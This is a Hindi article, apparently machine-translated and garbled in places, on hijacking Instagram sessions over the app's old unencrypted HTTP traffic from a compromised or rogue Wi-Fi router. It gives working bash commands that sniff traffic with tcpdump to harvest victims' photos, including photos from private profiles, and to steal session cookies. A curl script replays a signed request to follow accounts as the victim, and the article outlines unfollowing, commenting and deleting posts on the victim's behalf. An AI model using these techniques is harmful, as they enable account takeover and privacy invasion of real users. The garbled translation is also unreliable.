कैसे काले में इंस्टाग्राम या कुकीज़ का पालन करें

अरे, थोड़ा नाम, पहेली का अनुमान है! 2012 में एक अरब डॉलर में किस स्टार्टअप को बेचा गया? एक नियमित रूप से सामाजिक नेटवर्क में, हमारे अध्यक्ष पिछले एक साल में एक अतिरिक्त पिस्सू गया है? कौन सा सामाजिक नेटवर्क उपयोगकर्ता द्वारा निर्मित सामग्री से उनकी संपत्ति घोषित करने की कोशिश?

हाँ, सही है! आज हम Instagram के बारे में बात करेंगे।

इंस्टाग्राम पर सभी मीडिया के ध्यान के साथ, मैंने इस परियोजना की सुरक्षा का विश्लेषण कभी नहीं देखा है, लेकिन विश्लेषण करने के लिए कुछ है। इंस्टाग्राम ओपन http (!) के माध्यम से संचार करता है, और यदि कभी-कभी यह क्रिप्टोग्राफी का उपयोग करता है, तो बहुत ही अजीब तरीके से।

कई विवरण और कटौती के तहत शांत DIY हैक।

अनुसंधान मंच

Padavan से कस्टम फर्मवेयर और एंटवेयर रिपॉजिटरी से सॉफ्टवेयर के साथ मेरा घर Asus rt-n56u राउटर मेरे सभी प्रयोगों के लिए एक परीक्षण मैदान के रूप में कार्य करेगा। ऐसा चुनाव जानबूझकर किया गया था। मेरी खुदाई का परिणाम कई बैश लिपियों था (मैं उन्हें नीचे साझा करूँगा) जो बहुत ध्यान आकर्षित किए बिना नीचे वर्णित कुछ चीजों का स्वतंत्र रूप से प्रदर्शन कर सकते हैं।

इसके अलावा, राउटर एक मुफ्त वाईफाई इंटरनेट का अनुकरण करता है: यह ठीक उसी तरह है जैसे यह आपके पसंदीदा कैफे या आपके कपटी पड़ोसी में खड़ा हो सकता है।

राउटर पर ट्रैफ़िक tcpdump का उपयोग करके नेटवर्क फ़ोल्डर में जा रहा था

tcpdump –i br0 src <ip > and port 80 –w /opt/tmp/dump.dmp

और एक नेटवर्क फ़ोल्डर के माध्यम से एक पीसी पर विंडसर्क के लिए भेजा। क्लाइंट और सर्वर के बीच http संवाद बहाल करना "टीसीपी स्ट्रीम का पालन करें" फ़ंक्शन का उपयोग करके बहुत सुविधाजनक है।



इंस्टाग्राम सर्वर पर अपने स्वयं के टेस्ट पोस्ट और जीईटी अनुरोधों को उत्पन्न करने के लिए, मैंने - HttpRequester के लिए एक सुविधाजनक प्लग-इन का उपयोग किया।



Instagram में एक निशुल्क थर्ड-पार्टी ओपन एपीआई भी है जो https (!) के माध्यम से काम करता है, लेकिन इसकी कई सीमाएँ हैं, जिनमें से एक है इंस्टाग्राम प्रकाशित करने में असमर्थता। मैं आपको दृढ़ता से onlain डेवलपर एपीआई चुनने की सलाह देता हूं! मजेदार बात ...

सूचना विनिमय प्रोटोकॉल

क्लाइंट और सर्वर के बीच सभी संचार (प्रमाणीकरण को छोड़कर) POST और GET अनुरोधों का उपयोग करके खुले रूप में होता है।



हाल ही में, सुरक्षा बढ़ाने के लिए, हस्ताक्षर किए गए_दो फ़ंक्शन को प्रोटोकॉल में जोड़ा गया था, जो इसके पास दिए गए पैरामीटर के मुश्किल HMAC SHA256 हैश को लौटाता है और इसे पैरामीटर के साथ जगह में POST अनुरोध में डाल देता है (स्क्रीनशॉट देखें)।

दुर्भाग्य से, मैं जावा मस्तिष्क एल्गोरिथ्म का पता लगाने में सक्षम नहीं था इससे पहले कि मेरे दिमाग ने जावा खाया। मैंने उत्सुकता के लिए पास्टबिन पर एक निश्चित गुप्त कुंजी के साथ एंड्रॉइड एपीके से हटाए गए फ़ंक्शन को फाड़ दिया। अगर कोई इसे हल कर सकता है, तो कृपया साझा करें।

हस्ताक्षरित_बॉडी हस्ताक्षर प्रक्रिया का मुख्य दोष हैशेड स्ट्रिंग में चर का छोटा समूह है। उदाहरण के लिए, किसी भी उपयोगकर्ता की ओर से कोई भी हस्ताक्षरित हस्ताक्षरित_बना कोई भी इंस्टाग्राम फिट होगा ; और फोटो का आनंद लेने या इसे हटाने के लिए, आपको उसी नियंत्रण हैश media_id की आवश्यकता है।
अब सर्वर के लिए POST अनुरोधों के लिए सबसे आम विकल्पों पर विचार करें:

### कार्रवाई ############# URL ##########################################################।
(विभाजन) / एपीआई / v1 / दोस्ती / बनाने (नष्ट) / {user_id} / user_id का पालन करें
/ Api / v1 / मीडिया / {media_id} / टिप्पणी / टिप्पणी_ पाठ पर टिप्पणी करें
टिप्पणी / एपीआई / v1 / मीडिया / {media_id} / टिप्पणी / {टिप्पणी_id} हटाएं / टिप्पणी / टिप्पणी, मीडिया / सहायता हटाएं
जैसे (अनलिंक) / एपीआई / v1 / मीडिया / {media_id} / like (विपरीत) / media_id
हटाएँ / एपीआई / v1 / मीडिया / {media_id} / हटाएं / media_id
Media_id का गठन photo_id + "_" + user_id के रूप में किया गया है।

आवेदन के तरीके

नीचे वर्णित सभी हमले इस धारणा पर आधारित हैं कि आपके पास एक राउटर या कम से कम नेटवर्क ट्रैफ़िक है (उदाहरण के लिए, निष्क्रिय लैन टैप का उपयोग करके)।
शुरू करने के लिए, हम स्वचालित रूप से उपयोगकर्ता की सभी प्रकाशित और देखी गई तस्वीरों को डाउनलोड करेंगे (निजी प्रोफाइल से उन लोगों सहित)।

 #!/bin/bash while true do tcpdump -i br0 port 80 -nn -w - | grep -m 1 -A 1 _7.jpg | awk '{one =$2 ; getline ; print "http://" $2 one ; getline}'| xargs wget -P /opt/tmp/photo done 

हम सभी GET ट्रैफ़िक में _7.jpg फ़ाइल अनुरोधों को पकड़ते हैं (यह सभी बड़े इंस्टाग्राम समाप्त होते हैं) और उन्हें wget करने के लिए फ़ीड करते हैं। फोटो वास्तविक समय में फोटो फ़ोल्डर में दिखाई देंगे।

AutoFollow

अब एक उपयोगकर्ता के रूप में अपने खाते का पालन करें। ऐसा करने के लिए, हमें केवल एक फ्लाइंग डिफेंसलेस यूजर कुकी की आवश्यकता है :)

 /opt/home/admin # COOKIE=`tcpdump -i br0 port 80 -nn -w - |grep -m 1 ds_user_id= | awk '{print $2$3$4$5}'` /opt/tmp/curl_follow.sh 

हम सभी फ्लाइंग http ट्रैफ़िक को पकड़ते हैं। हम उपयोगकर्ता कुकीज़ निकालते हैं और उन्हें थोड़ा कंघी करते हैं। फिर हम स्क्रिप्ट को curl_follow.sh देते हैं

 /opt/home/admin # cat /opt/tmp/curl_follow.sh #! /bin/bash curl -X POST \ -H "Connection: Keep-Alive" \ --user-agent "Instagram 3.4.0 Android (17/4.2.1; 240dpi; 480x800; samsung/Samsung; GT-I9100; GT-I9100; smdk4210; en_US)" \ -b $COOKIE \ -d signed_body=08501f85a71be55abfa0d36719f72a27debb2ee769fd2f4ffe086c07ae129f6a.%7B%22user_id%22%3A%2237343536%22%7D&ig_sig_key_version=4" \ instagram.com/api/v1/friendships/create/37343536/ 

इस परिदृश्य की सुंदरता मानवीय हस्तक्षेप के बिना एक राउटर पर स्वायत्त रूप से काम करने की क्षमता है। अपने अनुयायियों के बढ़ते काउंटर को कॉन्फ़िगर, लॉन्च और प्रशंसा करता है।

और क्या किया जा सकता है?

उपयोगकर्ता की ओर से किसी भी फ़ोटो पर टिप्पणी छोड़ दें।

1. हम अपने फोन पर किसी भी इंस्टाग्राम पर अपने खाते से आवश्यक टिप्पणी को बढ़ाते हैं;
2. हस्ताक्षरित करें और हस्ताक्षर किए गए हस्ताक्षर करें_ POST पैकेट डेटा फ़ील्ड;
3. हम अपने पैकेज को उपयोगकर्ता की कुकी, हमारे हस्ताक्षरित_और वांछित मीडिया_आईडी से एकत्र करते हैं।

उपयोगकर्ता की ओर से एक विशिष्ट इंस्टाग्राम की तरह

1. हम वांछित Media_id के साथ साइन इन करें;
2. हम उपयोगकर्ता की कुकी पकड़ते हैं;
3. हम निम्नलिखित के उदाहरण के रूप में एक ही काम करते हैं।

आप निश्चित रूप से, इन काले ट्रिक्स का उपयोग कर सकते हैं:

सभी दोस्तों को फ्री करें

- अनुयायियों की आईडी प्राप्त करें, उन्हें बाएं खाते से फॉलो करें, जिससे हस्ताक्षर किए गए उपयोगकर्ता_ पहचान सकें। इंटरसेप्टेड कुकी का उपयोग कर उपयोगकर्ता की ओर से विभाजित करें।

उपयोगकर्ता इंस्टाग्राम को हटा दें

- उपयोगकर्ता के मीडिया_ की सूची प्राप्त करें, तृतीय-पक्ष खाते की ओर से क्लिक करें, जिससे हस्ताक्षरित_बना मीडिया_आईडी प्राप्त करें, उपयोगकर्ता की कुकीज़ का उपयोग करके हटाएं।

निष्कर्ष और निष्कर्ष के बजाय, प्रदर्शन के साथ एक छोटा वीडियो: